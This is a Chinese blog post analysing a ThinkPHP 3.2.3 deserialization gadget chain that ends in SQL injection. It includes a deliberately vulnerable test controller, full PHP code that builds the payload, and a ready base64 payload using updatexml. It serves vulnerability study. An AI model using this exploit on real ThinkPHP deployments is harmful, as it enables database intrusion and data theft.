thinkphp3.2.3反序列化利用链分析

thinkphp3.2.3反序列化利用链分析

前置知识:

  1. PHP反序列化原理
    PHP反序列化就是在读取一段字符串然后将字符串反序列化成php对象。
  2. 在PHP反序列化的过程中会自动执行一些魔术方法
方法名 ---------------调用条件
__call	           调用不可访问或不存在的方法时被调用
__callStatic	   调用不可访问或不存在的静态方法时被调用
__clone	           进行对象clone时被调用,用来调整对象的克隆行为
__constuct	       构建对象的时被调用;
__debuginfo	       当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct	       明确销毁对象或脚本结束时被调用;
__get	           读取不可访问或不存在属性时被调用
__invoke	       当以函数方式调用对象时被调用
__isset	           对不可访问或不存在的属性调用isset()empty()时被调用
__set	          当给不可访问或不存在属性赋值时被调用
__set_state	      当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep	          当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString	      当一个类被转换成字符串时被调用
__unset	          对不可访问或不存在的属性进行unset时被调用
__wakeup	      当使用unserialize时被调用,可用于做些对象的初始化操作
  1. 反序列化的常见起点
__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

4.反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()empty()时被调用

形如 $this->$func();

5.反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

6.Phar反序列化原理以及特征

phar://伪协议会在多个函数中反序列化其metadata部分

受影响的函数包括不限于如下:

copy,file_exists,file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,
fileinode,filemtime,fileowner,fileperms,
fopen,is_dir,is_executable,is_file,is_link,is_readable,is_writable,
is_writeable,parse_ini_file,readfile,stat,unlink,exif_thumbnailexif_imagetype,
imageloadfontimagecreatefrom,hash_hmac_filehash_filehash_update_filemd5_filesha1_file,
get_meta_tagsget_headers,getimagesizegetimagesizefromstring,extractTo

环境:

搭建
先到thinkphp官网去下载thinkphp_v3.2.3完整版源码(https://www.thinkphp.cn/Down),然后解压到phpstudy网站根目录下。

利用条件
具有反序列化入口

入口
先写一个反序列化入口,在控制器写入:

//Application/Home/Controller/HelloController.class.php
<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
    public function index(){
        echo base64_decode($_GET['Ufgnix']);
        unserialize(base64_decode($_GET['Ufgnix']));
    }
}

分析过程

由上面的前置知识知道,反序列化头一般在__destruct方法,因此全局搜索__destruct()一个个查看,以可控变量尽量多的原则进行筛选,最终找到:ThinkPHP/Library/Think/Image/Driver/Imagick.class.php 文件中,具有可控变量的析构函数方法:

在这里插入图片描述
分析:

如果我们对 img 属性赋一个对象,那么它会调用 destroy() 方法,因此继续往下走,我们全局搜索具有 destroy() 方法的类

注意:

在PHP7版本中,如果无参调用一个含参方法,ThinkPHP会报错,而在PHP5版本中不会报错

我们全局搜索destroy() 方法的类,找到的的结果如下:ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

在这里插入图片描述

<?php
namespace Think\Session\Driver;

class Memcache {
	protected $lifeTime     = 3600;
	protected $sessionName  = '';
	protected $handle       = null;
public function destroy($sessID) {
		return $this->handle->delete($this->sessionName.$sessID);
	}

destroy() 方法有两个可控参数($handle、$sessionName),$sessID不可控。调用 delete 方法,同样,类可控, delete 方法的参数看似可控,其实不可控,因为下方全局搜索后, delete 方法需要的参数大多数都为 array 形式,而上方传入的是 $this->sessionName.$sessID ,即使 $this->sesionName 设置为数组 array ,但是 $sessID 如果为空值,在PHP中,用 . 连接符连接,得到的结果为字符串 array

<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"
PHP Notice:  Array to string conversion

先继续搜索一下delete方法:ThinkPHP/Library/Think/Model.class.php文件中

//ThinkPHP/Library/Think/Model.class.php
<?php
    //只记录关键代码
namespace Think;

class Model {
    protected $db               =   null;
    // 主键名称
    protected $pk               =   'id';  
    // 数据信息
    protected $data             =   array();
	// 查询表达式参数
    protected $options          =   array();
    
public function delete($options=array()) {
        $pk   =  $this->getPk();
        if(empty($options) && empty($this->options['where'])) {
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }
        // 分析表达式
        $options =  $this->_parseOptions($options);
        if(empty($options['where'])){
            // 如果条件为空 不进行删除操作 除非设置 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }        
        $result  =    $this->db->delete($options);
        if(false !== $result && is_numeric($result)) {
            $data = array();
            if(isset($pkValue)) $data[$pk]   =  $pkValue;
            $this->_after_delete($data,$options);
        }
        // 返回删除记录个数
        return $result;
    }

p k 、 pk、 pkdata、$options变量可控,

public function delete($options=array()) {
        $pk   =  $this->getPk();
        if(empty($options) && empty($this->options['where'])) {
            // 如果删除条件为空 则删除当前数据对象所对应的记录
            if(!empty($this->data) && isset($this->data[$pk]))
                return $this->delete($this->data[$pk]);
            else
                return false;
        }

看这一段,获取主键,然后判断是否为空,如果为空,就会自己调用自己获取主键,使自己不为空

脱离当前if判断区域,继续向下走:
在这里插入图片描述
我们要利用delete方法执行删除操作,因此设置$options['where']="1=1"即可,下面,第二次调用delete方法,不过这里的delete方法就不是上面那个,而是db里面的,而db我们可控,由利用连调试,这里会去调用到数据库驱动类中的delete()中去,而不是当前文件当中的delete()方法,即ThinkPHP/Library/Think/Db/Driver.class.php中的delete():
在这里插入图片描述
可以看到$table经过parseTable方法处理之后,直接进行了拼接,而parseTable方法中并无过滤操作,因此出现注入问题,这样,一条完整的链子就出来了

ThinkPHP/Library/Think/Image/Driver/Imagick.class.php::__destruct()–>ThinkPHP/Library/Think/Session/Driver/Memcache.class.php::destory()–>ThinkPHP/Library/Think/Model.class.php::delete()–>ThinkPHP/Library/Think/Db/Driver.class.php::delete()

构造pop:

首先是__destruct,我们需要调用Memcache的destroy方法

class Imagick{
        private $img;

    public function __construct(){
        $this->img = new Memcache();
    }

}

接下来$this->handle指向Model类去调用delete方法,并精心构造我们的sql语句

class Model{
        protected $options   = array();
        protected $pk;
        protected $data = array();
        protected $db = null;
        
    public function __construct(){
        $this->db = new Mysql();
        $this->options['where'] = '';
        $this->pk = 'id';
        $this->data[$this->pk] = array(
            "table" => "username where 1=updatexml(1,user(),1)#",
            "where" => "1=1"//分析中说过这里要设置where=‘1=1’
        );
    }
}

注意我们需要去初始化数据库的连接,这里我们使用默认的在Think\Db\Driver\Mysq下的Mysql,发现继承了Driver类,这里建立了PDO配置建立数据库连接,因此我们只需要在Mysql下配置好数据库配置即可

class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "testtest",
            "password" => "testtest"
        );
    }

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img = new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle = new Model();
        }
    }
}
namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data=array();
        protected $pk;
        protected $options=array();
        protected $db=null;

        public function __construct()
        {
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->pk = 'id';
            $this->data[$this->pk] = array(
                'where'=>'1=1',
                'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
            );
        }
    }
}
//初始化数据库连接
namespace Think\Db\Driver{
    use PDO;
    class Mysql {
        protected $config     = array(
            'debug'             =>   true,
            "charset"           =>  "utf8",
            'type'              =>  'mysql',     // 数据库类型
            'hostname'          =>  'localhost', // 服务器地址
            'database'          =>  'thinkphp',  // 数据库名
            'username'          =>  'root',      // 用户名
            'password'          =>  'root',      // 密码
            'hostport'          =>  '3306',      // 端口
        );
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启后才可读取文件
            //PDO::MYSQL_ATTR_MULTI_STATEMENTS => true,    //把堆叠开了,开启后可堆叠注入
        );
    }
}
namespace{
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
}
?>

得到:

?Ufgnix=
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6NzoiACoAZGF0YSI7YToxOntzOjI6ImlkIjthOjI6e3M6NToid2hlcmUiO3M6MzoiMT0xIjtzOjU6InRhYmxlIjtzOjU5OiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpIyI7fX1zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjEwOiIAKgBvcHRpb25zIjthOjE6e3M6NToid2hlcmUiO3M6MDoiIjt9czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjk6IgAqAGNvbmZpZyI7YTo4OntzOjU6ImRlYnVnIjtiOjE7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6NDoidHlwZSI7czo1OiJteXNxbCI7czo4OiJob3N0bmFtZSI7czo5OiJsb2NhbGhvc3QiO3M6ODoiZGF0YWJhc2UiO3M6ODoidGhpbmtwaHAiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290IjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjMzMDYiO31zOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fX19fX0=

传入,检验无误
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值